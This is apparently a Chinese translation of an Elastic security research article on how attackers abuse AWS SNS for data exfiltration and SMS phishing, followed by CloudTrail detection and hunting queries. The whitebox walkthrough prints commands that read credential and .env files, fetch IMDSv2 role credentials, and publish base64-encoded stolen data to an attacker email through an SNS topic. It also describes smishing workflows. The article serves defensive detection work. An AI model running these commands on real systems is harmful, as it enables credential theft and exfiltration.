前言
欢迎阅读使用 Elastic 的另一期 AWS 检测工程。本文将深入探讨威胁对手 (TA) 如何利用 AWS 的简单通知服务 (SNS) 以及如何使用该数据源寻找滥用指标。
希望了解威胁对手在 SNS 方面可能采取的潜在技术。我们还将探讨安全最佳实践、强化角色和访问权限,以及如何制定针对 SNS 滥用的威胁检测逻辑。
这项研究是最近一次内部合作的成果,要求我们在白盒练习期间利用 SNS 进行数据泄露。在这次合作中,我们对攻击者如何利用简单的发布和订阅(pub/sub)服务来实现各种目标感到好奇。我们深入研究了众所周知的 SNS 滥用尝试以及我们对数据源的了解,以汇总有关检测机会的研究。
祝阅读愉快!
了解 AWS SNS
在我们开始了解细节之前,让我们先讨论一下什么是 AWS SNS,以便有一个基本的基础知识。
AWS SNS 是一种 Web 服务,允许用户从云端发送和接收通知。可以将其想象成一个新闻提要服务,其中创建数字主题,对更新感兴趣的人通过电子邮件、Slack 等进行订阅,当数据发布到该主题时,所有订阅者都会收到通知并接收它。这描述了通常由云服务提供商 (CSP) 提供的发布/订阅服务。在 Azure 中,它以Web PubSub 的形式提供,而 GCP 提供Pub/Sub 。虽然这些服务的名称在不同平台之间可能略有不同,但其实用性和目的却相同。
SNS 提供两种工作流程,应用程序到人(A2P)和应用程序到应用程序(A2A),以用于不同的目的。A2P 工作流更注重与 AWS 服务(例如 Firehose、Lambda、SQS 等)的整体操作。然而,在本文中,我们将重点关注 A2P 工作流程。如下图所示,通常会创建一个 SNS 主题,允许订阅者利用短信、电子邮件或推送通知来接收消息。
其他功能:
过滤策略:订阅者可以定义过滤规则,以便只接收他们选择的相关消息子集。这些过滤策略以 JSON 格式定义;指定订阅者对消息的哪些属性感兴趣。SNS 在传递之前会在服务器端评估这些策略,以确定应将消息发送给哪些订阅者。
加密:SNS 利用 AWS 密钥管理服务 (KMS) 的服务器端加密(SSE) 来保护静态消息。启用加密后,消息在存储到 SNS 之前会被加密,然后在传送到端点时解密。这对于维护个人身份信息(PII)或其他敏感数据(如帐号)的安全当然很重要。不用担心,尽管 SNS 仅在静止时加密,但其他协议(例如 HTTPS)会处理传输中的加密,从而使其成为端到端 (E2E)。
传递重试和死信队列 (DLQ) :如果发生意外故障,SNS 会自动重试将消息传递到端点,例如 SQS、Lambda 等。但是,无法传递的消息最终驻留在DLQ中,这通常是 AWS SQS 队列,可供开发人员进行调试。
可扩展性:AWS SNS 旨在处理海量消息,可自动扩展以适应不断增长的流量,无需人工干预。没有前期配置要求,您只需按实际使用量付费,这对于大多数组织来说都是具有成本效益的。
AWS SNS 是促进云环境中通信的强大工具。为了更深入地了解,我们建议深入研究 AWS 现有的文档。然而,它的多功能性和集成能力也使其容易受到滥用。在下一节中,我们将探讨对手可能利用 SNS 进行恶意目的的一些场景。
白盒测试
白盒测试涉及在受控环境中执行恶意行为的原子模拟,并完全了解易受攻击或配置错误的基础设施及其配置。这种方法通常用于云环境中,以在开发针对特定策略、技术和程序 (TTP) 的威胁检测规则或模型期间验证检测能力。与端点环境不同,在端点环境中,对手模拟通常涉及引爆恶意软件二进制文件和工具,而基于云的 TTP 通常通过“脱离云端”技术利用现有的 API 驱动服务,因此这种方法对于准确的分析和检测至关重要。
通过 SNS 泄露数据
通过 SNS 进行渗透首先要创建一个主题,该主题作为接收被盗数据的代理,并将其传送到外部媒体源,例如电子邮件或手机。然后,对手会将该媒体源订阅到该主题,以便将收到的任何数据转发给他们。在此阶段完成后,只需打包数据并将其发布到处理分发的 SNS 主题。这种方法允许对手绕过网络 ACL 等传统数据保护机制,并将信息泄露到未经授权的外部目的地。
示例工作流程:
- 登陆 EC2 实例并执行敏感数据发现,并将其暂存以供日后使用
- 利用已安装的 AWS CLI 原生利用 IMDSv2 和 STS 获取临时凭证
- 在 SNS 中创建主题并附加外部电子邮件地址作为订阅者
- 将敏感信息发布到主题,以 Base64 编码(或明文)
- 外部电子邮件地址接收窃取的数据
基础设施设置
对于受害者基础设施,我们将使用我们首选的基础设施即代码 (IaC) 框架 Terraform。
已创建公共要点,其中包含遵循此示例所需的所有必要文件。总之,这些 Terraform 配置在公共子网内的 AWS 中部署了一个 EC2 实例。该设置包括一个用户数据脚本,该脚本将敏感数据的虚拟凭证添加为环境变量,并安装 AWS CLI 来模拟受损环境。此外,EC2 实例还分配了一个具有sns:Publish
、 sns:Subscribe
和sns:CreateTopic
权限的 IAM 角色。
攻击者可以通过多种潜在方式获得此 EC2 实例的初始访问权限,包括利用易受攻击的 Web 应用程序进行 Web Shell 部署、使用被盗的 SSH 凭证、密码喷洒或凭证填充。在这个特定示例场景中,我们假设攻击者通过易受攻击的 Web 应用程序获得初始入口,随后上传了一个 Web shell。在这种情况下,下一个目标是通过凭证访问实现持久性。当攻击者以流行的第三方软件或 Web 应用程序(例如 Oracle WebLogic、Apache Tomcat、Atlassian Confluence、Microsoft Exchange 等)为目标时,这种情况很常见。
首先,从 gist 下载 Terraform 文件。
- 调整
variables.tf
文件中的变量以匹配您的设置。- 为 Trusted_ip_cidr 添加白名单 IPv4 地址
- 将本地 SSH 密钥文件路径添加到 public_key_path
- 确保 ami_id.default 是您所在地区的正确 AMI-ID
- 在文件夹中运行
terraform init
来初始化工作目录。
准备就绪后,运行terraform apply
来部署基础架构。
一些提醒:
- Terraform 使用您的 AWS CLI 默认配置文件,因此请确保您在 AWS 配置中使用正确的配置文件。
- 提供的 AMI ID 特定于
us-east-1
区域。如果您在不同区域部署,请在variables.tf
文件中相应地更新 AMI ID。 - 将
variables.tf
中的trusted_ip_cidr.default
从 0.0.0.0/0(任意 IP)更改为您公开已知的 CIDR 范围。
Terraform 应用输出
让我们通过 SSH 进入我们的 EC2 实例,以确保我们的敏感凭证是从用户数据脚本创建的。请注意,在outputs.tf
文件中,我们确保根据我们的 EC2 实例的密钥路径和公共 IP 为我们生成 SSH 命令。
在完成并确认了这一基础设施后,我们就可以进行实际执行了。
实践中的工作流程:泄露敏感凭证
现在我们的基础设施已经建立,让我们在实践中逐步完成这个工作流程。提醒一下,我们机会主义对手的目标是检查本地凭证,获取他们能获取的信息,并在本地存储敏感数据。自从登陆这个 EC2 实例以来,我们已经确定 AWS CLI 存在,并且确定我们具有 SNS 权限。因此,我们计划创建一个 SNS 主题,注册一个外部电子邮件作为订阅者,然后将我们窃取的凭证和其他数据作为 SNS 消息泄露出去。
注意:虽然这个例子非常简单,但目标是集中关注 SNS 作为渗透的方法。具体情况和场景将根据受害者的具体基础设施设置而有所不同。
从常见位置识别并收集凭证:
我们的对手将瞄准 GitHub 凭证文件和 .env使用一些老式的 Bash 脚本在本地保存文件。这将从这些文件中获取凭据并将其放入/tmp
临时文件夹中,以便进行泄露。
命令:cat /home/ubuntu/.github/credentials/home/ubuntu/project.env > /tmp/stolen_creds.txt
通过创建 SNS 主题进行阶段性渗透
让我们利用现有的 AWS CLI 来创建 SNS 主题。提醒一下,此 EC2 实例承担了我们创建并附加的自定义 IAM 角色,这允许它创建 SNS 主题并发布消息。由于 AWS CLI 已预先安装在我们的 EC2 实例上,因此在调用时它将从 IMDSv2 中检索承担角色的临时凭证。然而,如果不是这种情况,对手可以使用以下 bash 代码本地检索凭据。
# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')
完成后,让我们尝试创建 SNS 主题和电子邮件地址,作为窃取数据的外部接收器。
创建主题命令: TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)
订阅命令: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"
如上图所示,命令运行完成后,我们就可以导航到外部电子邮件地址的收件箱来确认订阅。一旦确认,我们的外部电子邮件地址现在将收到发送到whitebox-sns-topic topic
的任何消息,我们计划使用这些消息进行数据泄露。
通过 SNS 发布窃取数据
此时,我们已经获得了对 EC2 实例的访问权限,四处窥探以了解我们的环境,确定了一些被滥用的服务和一些我们想要获取的凭证。请注意,我们之前的所有步骤都可以通过一个简单的 Bash 脚本来完成,该脚本可以通过我们的 webshell 放置在受感染的 EC2 实例上,但为了举例说明,我们将其分解为单独的步骤。
接下来,我们可以获取存储在/tmp/stolen_creds.txt
中的数据,对其进行 base64 编码,然后通过 SNS 将其发送到对手控制的电子邮件地址。
命令:
- Base64 编码内容:
BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
- 将编码凭证发布到我们的主题:
aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"
一旦完成后,我们只需检查收件箱中是否有这些被窃取的凭证即可。
从我们的消息中获取有效负载,我们可以对其进行解码,以发现它代表了我们在 EC2 实例上找到的凭证。
由于许多对手可能试图建立持久性或在 AWS 环境和服务中横向移动,因此只要权限在 IAM 用户或角色的范围内,他们就能够依靠此 SNS 主题来窃取数据。此外,他们可以设置一个重复的作业,扫描这个 EC2 实例上的数据,并随着时间的推移不断提取任何有趣的信息。在此场景中,有许多实用选项可以进行额外的链接。
在继续之前,我们建议您在退出 SSH 连接后使用以下命令销毁您的基础设施: terraform destroy --auto-approve
对手面临的挑战:
当然,任何白盒测试都存在许多不确定因素,这些不确定因素可能会成为技术助理(无论其知识、技能和能力是先进的还是不成熟的)的障碍或障碍。它也非常依赖于潜在受害者的配置和环境。以下是对手将面临的其他挑战。
初始访问:获得对 EC2 实例的初始访问权限通常是最大的障碍。这可能涉及利用易受攻击的 Web 应用程序或第三方服务、使用被盗的 SSH 凭据、密码喷洒或凭据填充,或利用其他手段(例如社会工程或网络钓鱼)。如果没有初始访问权限,整个攻击链就不可行。
建立活动会话:获得访问权限后,维持活动会话可能很困难,特别是如果环境包括强大的端点保护或清除未经授权活动的定期重启。对手可能需要使用 webshell、反向 shell 或自动投放脚本等技术来建立持久的立足点。
实例上安装的 AWS CLI :面向公众的 EC2 实例上存在 AWS CLI 并不常见,并且不被视为最佳实践。许多安全环境避免预先安装 AWS CLI,迫使对手自带工具或依赖不太直接的方法与 AWS 服务进行交互。
IAM 角色权限:附加到 EC2 实例的 IAM 角色必须包含针对 SNS 操作的宽松策略( sns:Publish
、 sns:Subscribe
、 sns:CreateTopic, sts:GetCallerIdentity
)。许多环境会限制这些权限以防止未经授权的使用,而错误的配置通常是攻击成功的必要条件。最小特权原则(PoLP)等最佳安全实践将确保角色仅设置必要的权限。
恶意脚本的执行:成功执行脚本或运行命令而不触发警报(例如,CloudTrail、GuardDuty、EDR 代理)是一项挑战。对手必须确保他们的活动融入合法流量或使用混淆技术来逃避检测。
对手的优势
当然,虽然这些技术给对手带来了挑战,但我们也考虑一下他们可能拥有的一些关键优势。
- 与原生 AWS 服务融合:通过利用 AWS SNS 进行数据泄露,对手的活动看起来像是对原生 AWS 旗舰服务的合法使用。SNS 通常用于通知和数据传播,因此不太可能立即引起怀疑。
- 通过 IAM 角色进行身份模拟:通过 AWS CLI 采取的操作归因于附加到 EC2 实例的 IAM 角色。如果该角色已经具有 SNS 操作的权限并定期用于类似任务,则对抗活动可以与预期操作无缝融合。
- 无需担心安全组或网络 ACL :由于 SNS 通信完全在 AWS 范围内进行,因此无需依赖安全组或网络 ACL 配置。这可以绕过传统的出站流量控制,确保对手的数据泄露尝试不会被阻止。
- 缺乏对 SNS 滥用的检测:在许多环境中,对 SNS 滥用进行数据泄露的监控不足。安全团队可能专注于更常见的被滥用的 AWS 服务(例如 S3 或 EC2),而缺乏针对异常 SNS 活动(例如频繁创建主题或大量发布消息)的专门检测或警报。
- 使用非侵入式命令的最小占用空间:对手使用的本地命令(例如,
cat
、echo
、base64
)是良性的,通常不会触发端点检测和响应 (EDR) 工具。这些命令在合法的管理任务中很常见,可以让对手避免在后端 Linux 系统上被发现。 - 高效且可扩展的渗漏:SNS 允许对手向多个订阅者发送大量数据,从而实现可扩展的渗漏。一旦设置完成,对手只需付出很少的额外努力就可以自动定期发布敏感信息。
- 持续的泄露能力:只要 SNS 主题和订阅保持活跃,攻击者就可以使用基础设施进行持续的泄露。如果 IAM 角色保留其权限并且未实施主动监控,则尤其如此。
- 绕过出口监控和 DLP :由于数据是通过 AWS 环境内的 SNS 泄露的,因此它绕过了专注于到外部目的地的出站流量的传统出口监控或数据丢失预防解决方案。
野外虐待
虽然白盒场景对于模拟潜在的对抗行为非常有价值,但将这些模拟与野外(ItW)威胁结合起来也同样重要。为此,我们探索了公开可用的研究,并找到了 SentinelOne 的一篇重要文章,其中描述了利用 AWS SNS 的垃圾邮件活动。利用这项研究的见解,我们尝试在受控环境中复制这些技术,以更好地理解它们的含义。
虽然我们不会深入研究 SentinelOne 研究中概述的归因分析,但我们强烈建议查看他们的工作,以更深入地了解该活动的起源。相反,我们的重点是攻击者滥用 AWS SNS 来达到恶意目的所使用的工具和技术。
短信诈骗和网络钓鱼
具有预配置 SNS 服务的受损 AWS 环境可作为短信网络钓鱼或网络钓鱼攻击的启动板。对手可能会利用合法的 SNS 主题和订阅者在内部或外部分发欺诈消息,利用组织沟通渠道中固有的信任。
正如 SentinelOne 的博客所详述的那样,对手使用了一种基于 Python 的工具,称为SNS Sender 。该脚本通过使用受损的 AWS 凭证直接与 AWS SNS API 交互,从而实现批量短信网络钓鱼活动。这些经过身份验证的 API 请求允许对手绕过常见的安全措施并批量发送网络钓鱼消息。
SNS Sender 脚本利用有效的 AWS 访问密钥和机密通过 AWS SDK 建立经过身份验证的 API 会话。利用这些凭证,攻击者可以设计如下网络钓鱼工作流程:
- 通过 AWS SDK 建立经过身份验证的 SNS API 会话。
- 列举并定位电话号码列表以作为网络钓鱼接收者。
- 利用预先注册的发件人 ID(如果可用)来欺骗可信实体。
- 发送包含恶意链接的短信,通常冒充合法服务。
Elastic Security Labs 预测,使用一次性或商业可用工具滥用云服务(如 SNS Sender)将继续成为研究重点。这强调了了解这些工具及其对云安全的影响的重要性。
武器化和预测试注意事项
为了成功使用 AWS SNS 大规模执行网络钓鱼活动,对手需要访问已注册的 AWS 最终用户消息传递组织。AWS 将新账户限制为 SNS 沙盒模式,从而限制向手动验证的电话号码发送短信。为了绕过沙盒限制,对手需要访问已经批准用于生产短信的帐户。测试和武器化过程需要几个关键步骤。
完全配置的 AWS 最终用户消息传递设置需要:
- 已建立的发起身份(包括长代码、免费电话号码或短代码)。
- 通过品牌注册流程获得监管部门批准。
- 运营商对大容量短信的预先批准。
如果没有这些预先注册的标识符,AWS SNS 消息可能会被降低优先级、被阻止或无法发送。
在部署大规模攻击之前,对手可能会使用 AWS SNS 沙盒模式中经过验证的电话号码测试短信传递。这个过程需要:
- 发送消息之前手动验证电话号码。
- 确保他们的运营商允许 AWS SNS 沙盒消息,因为有些运营商(如 T-Mobile 和 Google Voice)经常阻止 AWS SNS 沙盒验证短信。
- 测试不同 AWS 区域之间的传送路线,以确定哪些国家允许自定义发件人 ID 或允许非沙盒消息。
如果攻击者的测试环境未能收到 SNS 验证 OTP,他们可能会转向其他 AWS 账户或利用已具有生产级消息传递权限的受损 AWS 账户。
除此之外,对手可能会优先考虑交易信息而不是促销信息。交易信息由 AWS(OTP、安全警报等)优先处理,而促销信息的优先级较低,可能会被某些运营商过滤或阻止。
如果对手无法覆盖消息类型默认值,他们的网络钓鱼消息可能会被 AWS 降低优先级或拒绝,这可能是一个障碍。
注册发起身份和发件人 ID(如果支持)
AWS 要求发送大量短信的企业进行品牌注册和发起身份验证。根据地区和运营商的不同,对手可能能够利用不同的配置:
- 发件人 ID 滥用:在某些非美国地区,对手可以注册发件人 ID,使网络钓鱼消息看起来来自受信任的实体。这可能允许欺骗银行、航运公司或政府机构,使网络钓鱼尝试更加令人信服。
- 长代码和免费电话号码利用:AWS SNS 为出站短信分配长代码(标准电话号码)或免费电话号码。免费电话号码需要注册,但如果对手利用活跃的免费消息服务入侵 AWS 账户,则该号码仍可能被滥用。
- 短代码限制:高吞吐量短代码(5 位或 6 位数字)通常由运营商控制,需要额外审查,因此对于对手来说不太实用。
基础设施设置
默认情况下,未正确配置最终用户消息传递服务的 AWS 账户将被限制在SMS 沙盒中。该沙箱允许开发人员通过向已验证的电话号码发送消息来测试短信功能。然而,正如我们发现的,沙盒中的数字验证过程充满挑战。
尽管我们多次尝试使用沙盒注册电话号码,但我们发现验证消息(OTP 代码)未能到达各个运营商和服务的端点,包括 Google Voice 和 Twilio。这表明移动运营商可能会阻止这些沙盒发起的消息,从而有效地拖延验证过程,但最终阻止我们模仿该行为。
对于生产用途,从沙盒迁移需要完全配置的 AWS 最终用户消息传递服务。其中包括:
- 合法的发件人 ID。
- 用于故障转移的电话池。
- 起源身份。
- 品牌注册以符合法规要求。
此设置符合 SNS Sender 脚本的要求,为对手提供了理想的环境。发件人 ID 的使用依赖于预先建立的发起身份和品牌注册,这使得网络钓鱼邮件看起来好像来自信誉良好的组织。这降低了检测到或运营商级别阻止的可能性,从而提高了活动的成功率。
此次攻击的要求表明,对手很可能会针对使用 AWS End User Messaging 进行自动短信警报和消息传递的公司。物流和配送服务、电子商务平台以及旅游和酒店等行业是主要目标,因为它们依赖自动短信通知。
在收件人方面,网络钓鱼消息看起来好像来自受信任的实体,从而绕过了运营商的警报并逃避了怀疑。
在我们的测试过程中,当我们尝试使用脚本和 AWS CLI 直接通过 SNS 发送 SMS 消息时,我们在 CloudTrail 中登录时遇到了意外行为。失败的消息传送尝试未按预期出现在 CloudTrail 日志中。
尽管发布API 调用通常会记录在 CloudTrail 中(前提是启用了数据平面事件),但尚不清楚失败尝试的日志缺失是否是由于固有的 SNS 行为或我们方面的配置错误。这一差距凸显了需要更深入地调查 AWS 如何处理失败的 SNS 发布请求,以及是否需要额外的配置来可靠地捕获这些事件。
因此,我们认为最好为此包含一个威胁搜寻查询,而不是检测规则,因为无法完全复制对手的行为、依赖预先建立和注册的品牌和起源身份。
探测和狩猎机会
对于检测和搜寻,CloudTrail 审计日志为该活动的后续 API 调用提供了足够的可见性。它们还包含足够的上下文信息来帮助提高这些异常信号的保真度。以下检测和搜索查询将利用通过 AWS CloudTrail 集成提取到我们的 Elastic 堆栈中的 CloudTrail 数据,但是如果需要,它们应该可以转换为您选择的 SIEM。对于这项活动,我们只关注假定的角色,特别是那些被滥用的 EC2 实例,但这可能发生在 AWS 环境的其他地方。
稀有用户创建的 SNS 主题
识别何时由罕见的 AWS 用户身份 ARN(IAM 用户或角色)创建 SNS 主题。此检测利用 Elastic 的新条款类型规则来识别首次出现用户身份 ARN 的时间创建 SNS 主题。对于通常利用 EC2 实例来创建 SNS 主题的假定角色来说,这将非常不寻常。
我们的查询利用 KQL 和新条款规则类型来关注由假定角色专门为 EC2 实例创建的主题。
event.dataset: "aws.cloudtrail"
and event.provider: "sns.amazonaws.com"
and event.action: "Publish"
and aws.cloudtrail.user_identity.type: "AssumedRole"
and aws.cloudtrail.user_identity.arn: *i-*
狩猎查询 (ES|QL)
我们的搜索查询重点关注身份类型为假定角色的实体的 CreateTopic API 操作。我们还解析 ARN 以确保该请求来自 EC2 实例。然后,我们可以聚合云帐户、实体(EC2 实例 ID)、承担的角色名称、区域和用户代理。如果报告的 EC2 实例随机创建 SNS 主题是不寻常的,那么这可能是一个值得调查的异常信号。
from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
event.dataset == "aws.cloudtrail" AND
event.provider == "sns.amazonaws.com" AND
event.action == "Publish"
and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC
狩猎须知:
- 来自 EC2 实例的假定角色的凭证随机创建 SNS 主题已经是不寻常的了。
- 如果用户身份访问密钥(aws.cloudtrail.user_identity.access_key_id)存在于 CloudTrail 审计日志中,则该请求是通过 CLI 或以编程方式完成的。这些密钥可能已被泄露,需要进一步调查。
- 攻击者可以转向针对此特定主题调用的发布 API 操作来识别哪个 AWS 资源正在发布消息。通过访问该主题,攻击者可以进一步调查订阅者列表以识别未经授权的订阅者。
稀有用户通过电子邮件订阅 SNS 主题
检测规则来源
狩猎查询来源
斜接攻击和 CK: T1567 、 T1530
识别罕见 AWS 用户身份 ARN(IAM 用户或角色)订阅 SNS 主题的情况。此检测利用 Elastic 的新条款类型规则来识别用户身份 ARN 首次尝试订阅现有 SNS 主题的时间。上述白盒测试示例中发生的数据泄露将被此威胁搜寻捕获;当我们与外部用户建立 SNS 订阅时,将生成警报。
如果主题仅供内部使用,则可以通过将请求的电子邮件地址中的预期组织 TLD 列入白名单来进一步减少误报。
我们的查询利用 KQL 和新条款规则类型来关注指定电子邮件地址的订阅。不幸的是,CloudTrail 删除了订阅的电子邮件地址,否则这对于调查来说至关重要。
event.dataset: "aws.cloudtrail"
and event.provider: "sns.amazonaws.com"
and event.action: "Subscribe"
and aws.cloudtrail.request_parameters: *protocol=email*
新条款值:aws.cloudtrail.user_identity.arn
狩猎查询 (ES|QL)
我们的搜索查询利用 ES|QL,但解析订阅 API 操作参数以进一步过滤指定的电子邮件协议。它还解析出用户代理的名称,但进一步依赖聚合来潜在地识别其他异常的用户代理属性。我们还包括了发生订阅的地区,因为根据组织的具体业务环境,某些地区订阅其他地区可能并不常见。
from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
event.dataset == "aws.cloudtrail" AND
event.provider == "sns.amazonaws.com" AND
event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC
狩猎须知:
- 如果用户身份访问密钥(aws.cloudtrail.user_identity.access_key_id)存在于 CloudTrail 审计日志中,则该请求是通过 CLI 或以编程方式完成的。这些密钥可能已被泄露,需要进一步调查。
- 在聚合过程中忽略主题 ARN 对于识别使用电子邮件订阅 SNS 主题的首次异常非常重要。通过不按主题 ARN 对订阅进行分组,我们确保查询仅关注检测意外或不频繁的订阅,而不管已经建立的特定主题。
- 可能需要使用用户身份 ARN 作为包含过滤器进行另一个查询来识别他们订阅了哪个主题。
- 如果发现异常的用户代理名称,则可能需要对用户代理字符串进行二次调查,以确定它是否与自动脚本、不常见的浏览器或不匹配的平台相关。尽管伪造这些很容易,但众所周知,对手不会这样做,原因尚不公开。
稀有用户发布的 SNS 主题消息
识别何时从 AWS 中不寻常的用户身份 ARN 发布到 SNS 主题的消息。如果角色或权限策略不遵循 PoLP,则可能会允许发布到 SNS 主题,从而导致滥用。例如,通过 AWS Marketplace 提供的默认角色允许发布到 SNS 主题。它还可以识别曾经推送到 SNS 主题但现在不再被滥用的恶意实体,如果凭证被泄露的话。请注意,这仅关注 EC2 实例,但您可以根据来源、区域、用户代理等进行调整,以解决不同的发布异常。
我们的查询利用 KQL 和新条款规则类型来关注指定电子邮件地址的订阅。不幸的是,CloudTrail 删除了订阅的电子邮件地址,因为这对于调查来说是一项重要资产。
event.dataset: "aws.cloudtrail"
and event.provider: "sns.amazonaws.com"
and event.action: "Publish"
and aws.cloudtrail.user_identity.type: "AssumedRole"
and aws.cloudtrail.user_identity.arn: *i-*
新条款值:aws.cloudtrail.user_identity.arn
狩猎查询 (ES|QL)
我们的搜索查询利用 ES|QL,并且重点关注 API 操作为发布的SNS 日志。仅当用户身份类型是假定角色并且用户身份 ARN 是 EC2 实例 ID 时,才会触发此操作。聚合帐户 ID 、实体、假定角色、 SNS 主题和区域有助于我们根据对此活动的预期识别任何进一步的异常。我们可以利用用户代理来识别由不寻常的工具或软件拨打的这些电话。
from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
event.dataset == "aws.cloudtrail" AND
event.provider == "sns.amazonaws.com" AND
event.action == "Publish"
and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC
狩猎须知:
- 如果用户身份访问密钥(aws.cloudtrail.user_identity.access_key_id)存在于 CloudTrail 审计日志中,则该请求是通过 CLI 或以编程方式完成的。这些密钥可能已被泄露,需要进一步调查。
- 如果您注意到 Terraform、Pulumi 等,则可能与测试环境、维护或其他方面有关。
- 非 AWS 的 Python SDK 可能表示正在利用自定义工具或脚本。
SNS 直接手机消息激增
我们对假设的 SNS 入侵(对手正在进行网络钓鱼(短信钓鱼)活动)的搜寻工作主要集中在 AWS SNS 中的发布API 操作上。具体来说,我们跟踪请求参数中存在phoneNumber 的实例,这表明消息直接发送到电话号码,而不是通过 SNS 主题发送。
值得注意的是,攻击者并不依赖具有预先订阅号码的 SNS 主题,而是利用组织的生产终端消息传递权限,利用以下优势:
- 已批准的起源 ID(如果该组织已注册)。
- 发件人 ID(如果对手控制一个或可以伪造可信标识符)。
- AWS 长代码或短代码(可以动态分配)。
由于 AWS SNS 会对日志进行清理,因此电话号码在 CloudTrail 中不可见,但在 CloudWatch 或第三方监控工具中进行更深入的分析可能会有所帮助。
狩猎查询 (ES|QL)
此查询检测到直接 SNS 消息的激增,这可能表明受到感染的 AWS 账户存在短信网络钓鱼活动。
from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
event.dataset == "aws.cloudtrail" AND
event.provider == "sns.amazonaws.com" AND
event.action == "Publish" AND
event.outcome == "success" AND
aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30
狩猎须知:
- AWS 会删除日志中的电话号码,因此可能需要通过 CloudWatch 日志进行更深入的分析。
- 在 CloudWatch 中调查时,消息上下文也被清理了。理想的做法是调查该消息中是否嵌入了任何可疑的 URL 链接。
- 您还可以查看 AWS SNS 传输日志(如果已启用)以获取消息元数据。
- 如果消息没有使用基于主题的订阅,则建议直接定位。
- 这些请求的来源很重要,如果你从 EC2 实例中注意到它们,那就很奇怪了,或者 Lambda 可能是一种预期的无服务器代码。
总结
感谢您花时间阅读有关AWS SNS 滥用:数据泄露和网络钓鱼的出版物。我们希望这项研究能够提供有价值的见解,了解对手如何利用 AWS SNS 进行数据泄露、短信钓鱼和网络钓鱼活动,以及应对这些威胁的实用检测和搜索策略。
关键要点:
- AWS SNS 是一项强大的服务,但可能被滥用于恶意目的,包括网络钓鱼(短信网络钓鱼)和数据泄露。
- 对手可能会滥用生产 SNS 权限,使用预先批准的发件人 ID、发起 ID 或长/短代码向组织外部发送消息。
- 威胁行为者可能会利用 IAM 策略中的错误配置、CloudTrail 日志记录漏洞和 SNS API 限制来逃避监控。
- 尽管 SNS 的野外滥用(ItW)并不常见,但我们确信其武器化和有针对性的利用已经发生或最终会出现。
- AWS CloudTrail 不会捕获 SNS 日志中的电话号码或消息,因此 CloudWatch 第三方监控对于深入分析至关重要
- 威胁搜寻查询可以帮助检测正在创建、订阅或接收直接消息激增的 SNS 主题,从而发出潜在滥用信号。
- 检测策略包括监控 SNS API 操作、识别异常的 SNS 消息峰值以及标记来自 EC2 或 Lambda 源的异常。
- 防御措施应包括 IAM 策略强化、CloudTrail 和 SNS 日志记录、基于异常的检测和 AWS 建议的安全最佳实践,以减少攻击面。
AWS SNS 在安全讨论中经常被忽视,但正如这项研究表明的那样,如果不加以监控,它就会为对手提供可行的攻击媒介。我们鼓励防御者保持积极主动,改进检测逻辑,并实施强大的安全控制,以减轻这些风险并提高安全态势。
感谢您的阅读并祝您狩猎愉快!